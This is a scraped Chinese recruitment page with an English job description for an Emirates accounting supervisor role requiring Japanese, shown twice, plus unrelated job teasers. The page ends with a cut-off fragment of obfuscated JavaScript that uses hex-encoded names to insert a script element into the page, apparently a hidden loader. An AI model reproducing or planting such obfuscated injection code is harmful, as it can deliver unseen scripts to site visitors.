首页 / 招聘公司会计 / 招聘公司会计岗位职责

招聘公司会计岗位职责

分类:招聘公司会计 2021-01-14 21:17

大型航空公司招聘日语会计 JOB PURPOSE

To supervise the execution of all accounting functions for Emirates in the relevant country by leading and supervising the team and ensuring all activities are correctly accounted for in a timely manner and in compliance with company procedures and local regulations.

2. JOB OUTLINE

1. Lead and supervise the team by delegating tasks, monitoring performance and ensuring that the assigned tasks are completed in a timely and efficient manner.

2. Ensure the AP process if effectively carried out including the process, reconcile and control financial transactions in Oracle Finance. AP function by verifying electronic and paper invoices or credit notes for various services against contractual terms; scanning appropriate invoices to document management system to start workflow for invoice approval and ensure invoice workflow reflects only accurate invoice and supplier details and issue all required payment documents in Oracle Financials. Prepare individual and bulk payment transfers in line with corporate guidelines and authority limits and disbursement of expense reports, petty cash, customer and baggage claims.

3. Verify and account supplier invoices and processes to ensure timely supplier payment and account for accruals, prepayments and recharges in the system as appropriate to ensure that books are accurate and up to date.

4. Reconcile supplier and customer accounts as well as general ledger accounts on a regular basis and investigate and close the discrepancies, analysis budget variances and ensure that the bank reconciliation is current.

5. Prepare, process and validate payroll journals, prepare weekly cash slow forecast and ensure all activities performed are in line with local tax laws and compliant with legal legislation.

6. Maintaining control of all necessary documentation and ensuring all daily reports generated are properly checked and exceptions/disputes/discrepancies are correctly handled and required reports dispatched to HO whilst maintaining efficient records and an effective filing system.

7. Provide statistical productivity analysis as may be required by Finance Admin Manager from time to time and organise and perform required accounting routines especially during month/year end.

8. Identify areas of cost savings and bring these to the attention of the Finance Manager and other managers and assist with any other Finance Department related ad-hoc duties as and when necessary.

3. MINIMUM QUALIFICATIONS/EXPERIENCE/KNOWLEDGE/SKILLS

Qualifications:

• A level education

• Basic accounting background

Experience:

• 4 years’ experience in a multinational company, preferably in an accounting shared service centre

Knowledge/skills:

• Knowledge and experience of airline/travel industry ticketing, refund calculation, settlement and ERP Accounting system/reporting systems advantageous.

• Accounting knowledge and ability to interpret financial statements and KPIs

• Ability to cope, plan and organise a busy workload, with a positive and open attitude to change.

• Good knowledge of and proficiency in MS Office, in particular Excel.

Languages requirement:

• Fluent in written and spoken English.

• Ability to read and handle basic oral communication in Japanese.

JOB PURPOSE

To supervise the execution of all accounting functions for Emirates in the relevant country by leading and supervising the team and ensuring all activities are correctly accounted for in a timely manner and in compliance with company procedures and local regulations.

2. JOB OUTLINE

1. Lead and supervise the team by delegating tasks, monitoring performance and ensuring that the assigned tasks are completed in a timely and efficient manner.

2. Ensure the AP process if effectively carried out including the process, reconcile and control financial transactions in Oracle Finance. AP function by verifying electronic and paper invoices or credit notes for various services against contractual terms; scanning appropriate invoices to document management system to start workflow for invoice approval and ensure invoice workflow reflects only accurate invoice and supplier details and issue all required payment documents in Oracle Financials. Prepare individual and bulk payment transfers in line with corporate guidelines and authority limits and disbursement of expense reports, petty cash, customer and baggage claims.

3. Verify and account supplier invoices and processes to ensure timely supplier payment and account for accruals, prepayments and recharges in the system as appropriate to ensure that books are accurate and up to date.

4. Reconcile supplier and customer accounts as well as general ledger accounts on a regular basis and investigate and close the discrepancies, analysis budget variances and ensure that the bank reconciliation is current.

5. Prepare, process and validate payroll journals, prepare weekly cash slow forecast and ensure all activities performed are in line with local tax laws and compliant with legal legislation.

6. Maintaining control of all necessary documentation and ensuring all daily reports generated are properly checked and exceptions/disputes/discrepancies are correctly handled and required reports dispatched to HO whilst maintaining efficient records and an effective filing system.

7. Provide statistical productivity analysis as may be required by Finance Admin Manager from time to time and organise and perform required accounting routines especially during month/year end.

8. Identify areas of cost savings and bring these to the attention of the Finance Manager and other managers and assist with any other Finance Department related ad-hoc duties as and when necessary.

3. MINIMUM QUALIFICATIONS/EXPERIENCE/KNOWLEDGE/SKILLS

Qualifications:

• A level education

• Basic accounting background

Experience:

• 4 years’ experience in a multinational company, preferably in an accounting shared service centre

Knowledge/skills:

• Knowledge and experience of airline/travel industry ticketing, refund calculation, settlement and ERP Accounting system/reporting systems advantageous.

• Accounting knowledge and ability to interpret financial statements and KPIs

• Ability to cope, plan and organise a busy workload, with a positive and open attitude to change.

• Good knowledge of and proficiency in MS Office, in particular Excel.

Languages requirement:

• Fluent in written and spoken English.

• Ability to read and handle basic oral communication in Japanese.

猜你喜欢

  • 生物化学/生物化工工程师 上海凯赛生物技术研发中心有限公司 上海凯赛生物技术研发中心有限公司,凯赛生物,凯赛生物技术,凯赛 岗位职责:建立酶的反应动力学;优化酶反应条件;酶的固定化研究,;酶反应的小试,中试以及工业化放大工艺路线建立。岗位要求:1. 生物化学/生物化工领域,硕士以上学历,具有深厚的生..

    生物化工工程师2024-03-29
  • 销售经理/大客户经理-石油化工 DUTIESRESPONSIBILITIES:To perform this job successfully, an individual must be able to perform each essential duty satisfactorily. The requirements listed below are representative of the knowledge, skill, and/or ability required. Reasonable accommodat..

    石油化工销售2024-03-29
  • 项目经理(石油化工) 岗位职责:项目经理 (石油化工)岗位职责:• 负责项目所有阶段的管理:项目策划、执行、组织、协调以及项目进程的控制;• 与业主关于项目进行日常沟通,解决业主提出的问题;• 相关项目执行人员的管理监督指导;• 负责公司在国内外的石化项目;• 项目预算控制。任职资格:任职资格:• 专..

    石油化工2024-03-29
  • 工艺工程师(石油化工) 中国电建集团山东电力建设有限公司北京分公司 中国电建集团山东电力建设有限公司北京分公司,电建 职位描述:岗位职责:1.参与公司投标项目的前期调研,2.参与公司投标项目工艺技术、方案制定3.跟踪公司投标项目,组织协调完成项目的预可研、可研4.项目中标后,作为主力工程师或项目经..

    石油化工工程师2024-03-29
  • 信号处理工程师 江苏泰达机电设备有限责任公司 江苏泰达机电设备有限责任公司,泰达 职责描述:1) 按照要求独立完成项目试验数据信号处理流程设计,并完成试验数据信号处理和试验结果的解释;2) 独立完成阵列参数设计与论证,配合完成地震波传感器阵列设计;3) 完成lilux操作系统下的数据处理软件编程设计;4)..

    石油勘探2024-03-29
  • 职位要求:,1、具有三年以上工作经验,对工艺管道,设备等相关工程造价有较深刻的认识;2、能独立完成本专业的编制、审核、对量、结算工作;3、熟练掌握吉林省内的工程造价软件和工程量清单的编制工作;4、懂招标程序和合同管理者优先。..

    石油化工专业2024-03-29
  • 工艺工程师(石油化工) 中国电建集团山东电力建设有限公司北京分公司 中国电建集团山东电力建设有限公司北京分公司,电建 职位描述:岗位职责:1.参与公司投标项目的前期调研,2.参与公司投标项目工艺技术、方案制定3.跟踪公司投标项目,组织协调完成项目的预可研、可研4.项目中标后,作为主力工程师或项目经..

    石油化工工艺工程师2024-03-29
  • 水处理技术工程师 公耀国际贸易(上海)有限公司 公耀国际贸易(上海)有限公司,公耀 工作职责1、进行国内外环保药剂小试与评估;2、客户废水分析与推荐药剂的实验室小试和客户现场小试;3、各竞争品牌电镀药水的环保药剂小试与评估;4、参与客户拜访、进行技术服务与推广;5、客户端废水站中式与上线测试;6、..

    水处理技术工程师2024-03-29
  • 游戏角色建模组长 根据concept完成次时代人物角色模型/UV以及贴图的制作。任职条件:1. 熟练使用MAX/MAYA,以及Zbrush或Mudbox软件,擅长搭建各类模型;(zbrush使用熟练者优先考虑)2. 具备良好的沟通协调能力以及较强的团队合作精神;3. 绘画、雕塑专业毕业优先考虑;4.对雕刻衣服布料有一定的了解。5.做过次..

    次时代角色2024-03-29
  • 数控加工中心熟练工 浙江至美环境科技有限公司 浙江至美环境科技有限公司,至美环境,至美 1、大专及以上学历,45岁以下,无不良嗜好,身体健康;2、3年以上加工中心工作经验,持有初级以上车工上岗证书。

    熟练工2024-03-29
  • 1、大专及以上学历,化学、应用化学、化学工程、化工工艺等相关专业;2、2年以上大型涂料企业技术服务及相关岗位工作经验;3、熟悉涂料行业及国家相关标准,熟悉涂料施工及解决方案;4、有很强的客户沟通能力、商务谈判能力、应急处理能力;5、能接受出差。..

    水性漆技术工程师2024-03-29
  • 海外代理平台运营经理(天津)(J17197) 携程 携程计算机技术(上海)有限公司,携程,携程旅行网,携程 工作职责:1、完成所辖出发站/目的地代理产品相关业绩指标;2、熟悉指定目的地的相关出发地批发商信息;3、独立完成与批发商的合作合同签署,产品挑选以及产品上线、运营;4、监控竞争对手的竞争类产品动态并能..

    电商计调2024-03-29
  • 岗位职责:店面零售及渠道业务任职要求:有销售经验,热爱销售工作

    数码相机销售2024-03-29
  • 设备管理员(生产) 海思科药业集团 海思科医药集团股份有限公司,海思科,海思科药业西藏,海思科药业集团,海思科 岗位职责:1、 负责公司水、电、配电和电气设备的安装、运行、检修、维护保养、试验、管理,发现安全隐患,及时处理,从而保证各系统的安全运行;2、 负责公司所有设备的安装调试、维修、维护保养..

    生产设备管理员2024-03-29
  • 药理研究项目经理 具有心血管、代谢、神经系统药理毒理项目研究三年以上经验具有心血管、代谢、神经系统药理毒理项目研究三年以上经验具有心血管、代谢、神经系统药理毒理项目研究三年以上经验具有心血管、代谢、神经系统药理毒理项目研究三年以上经验具有心血管、代谢、神经系统药理毒理项目研究三年..

    神经系统2024-03-28
  • 压裂酸化高级工程师 山东科瑞控股集团 山东科瑞石油装备有限公司,山东科瑞控股集团,科瑞石油,科瑞 岗位职责:1、负责独立完成或指导压裂设计工程师完成选井、选层、压裂工程设计;2、负责压裂施工指挥,确保施工连续、安全、顺利进行,满足设计要求;3、调研国内外压裂工艺最新技术发展动向,根据市场动态或..

    酸化工程师2024-03-28
  • 1、负责产品的市场渠道开拓与销售工作,执行并完成公司产品年度销售计划。2、根据公司市场营销战略,提升销售价值,控制成本,扩大产品在所负责区域的销售,积极完成销售量指标,扩大产品市场占有率。3、与客户保持良好沟通,实时把握客户需求。为客户提供主动、热情、满意、周到的服务。4、根据公司产品、价..

    水性漆销售2024-03-28
  • 工艺工程师(石油化工) 中国电建集团山东电力建设有限公司北京分公司 中国电建集团山东电力建设有限公司北京分公司,电建 职位描述:岗位职责:1.参与公司投标项目的前期调研,2.参与公司投标项目工艺技术、方案制定3.跟踪公司投标项目,组织协调完成项目的预可研、可研4.项目中标后,作为主力工程师或项目经..

    石油化工工艺2024-03-28
  • 1、大专及以上学历,化学、应用化学、化学工程、化工工艺等相关专业;2、2年以上大型涂料企业技术服务及相关岗位工作经验;3、熟悉涂料行业及国家相关标准,熟悉涂料施工及解决方案;4、有很强的客户沟通能力、商务谈判能力、应急处理能力;5、能接受出差。..

    水性漆工程师2024-03-28
  • 肾科腹透产品销售 - 粤海地区 关于百特百特提供多样化的核心肾脏和医院产品线,包括家庭治疗、急重症和中心透析治疗;无菌静脉解决方案;注入系统和设备;肠外营养;手术产品和麻醉学手术;自动化药房,软件和服务。百特在全球的足迹和对产品和服务的关键作用在扩大新兴和发达国家的医疗保健方面发挥了关键作..

    肾科2024-03-28
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();